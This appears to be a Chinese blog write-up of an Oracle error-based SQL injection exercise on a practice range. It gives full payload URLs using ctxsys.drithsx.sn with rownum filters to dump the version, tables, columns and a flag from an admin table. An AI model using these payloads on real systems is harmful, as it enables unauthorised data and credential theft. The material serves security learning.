Oracle-报错注入
首先熟悉一下Oracle数据库的查询方式:
查询所有表:Selectfrom all_tables
查询出当前用户的表:select from user_tables
查询出所有字段:selectfrom all_tab_columns
查询出当前用户的字段:selectfrom user_tab_columns
查询数据库版本:select*from V$version
联合查询注入语句:union all select null,null,null from dual
若无法联合查询注入,采用报错函数ctxsys.drithsx.sn(user,(语句))
报错注入无法输出太多,在mysql中使用limit m,n限制,在Oracle中使用rownum=1 and条件 and条件 来限定
上靶场:http://59.63.200.79:8808
首先检测是否可注入以及闭合条件:

然后尝试是否可以联合注入查询,以查数据库版本为例:
http://59.63.200.79:8808/?id=1%27%20union%20all%20select%20*from%20v$version%20--+

发现无法通过联合查询爆出信息。
使用报错函数尝试:
先查数据库名:http://59.63.200.79:8808/?id=1%27and%201=ctxsys.drithsx.sn(1,(select%20*%20from%20v$version%20where%20rownum=1))--+

爆出数据库版本。
查询当前用户表:http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20table_name%20from%20user_tables%20where%20rownum=1))%20--+

爆出表名admin/news
爆出字段名:http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20rownum=1%20))%20--+

爆出字段名ID、USER_NAME、PASSWORD、FLAG_FLAG、TITLE、CONTENT
至此 我们猜测这两个表的字段可能是admin(ID、USER_NAME、PASSWORD、FLAG_FLAG)/news(TITLE、CONTENT)
接下来查询表中FLAG_FLAG字段数据:
http://59.63.200.79:8808/?id=1%27%20and%201=ctxsys.drithsx.sn(1,(select%20FLAG_FLAG%20from%20admin%20where%20rownum=1))%20--+

获得flag.
最后还有一个问题:Oracle-报错注入中使用系统自带表可以查到所有表和字段,但是我怎么知道哪个字段是哪个表里的?比如靶场有admin/news表,字段有ID、USER_NAME、PASSWORD、FLAG_FLAG、TITLE、CONTENT
有没有别的语句去知道各个字段属于那个表?
后来找到了方法:select table_name from user_tab_columns where rownum=1 and column_name=’TITLE’
加上字段名限制
user_tables 和user_tab_columns是两个表
table_name既是user_tables表的字段,又是user_tab_columns表的字段
感觉就是查字段数时比较费劲,后面and条件限制一直加有点麻烦。
-------------------------------------------
个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!
独学而无友,则孤陋而寡闻,开源、分享、白嫖!







浙公网安备 33010602011771号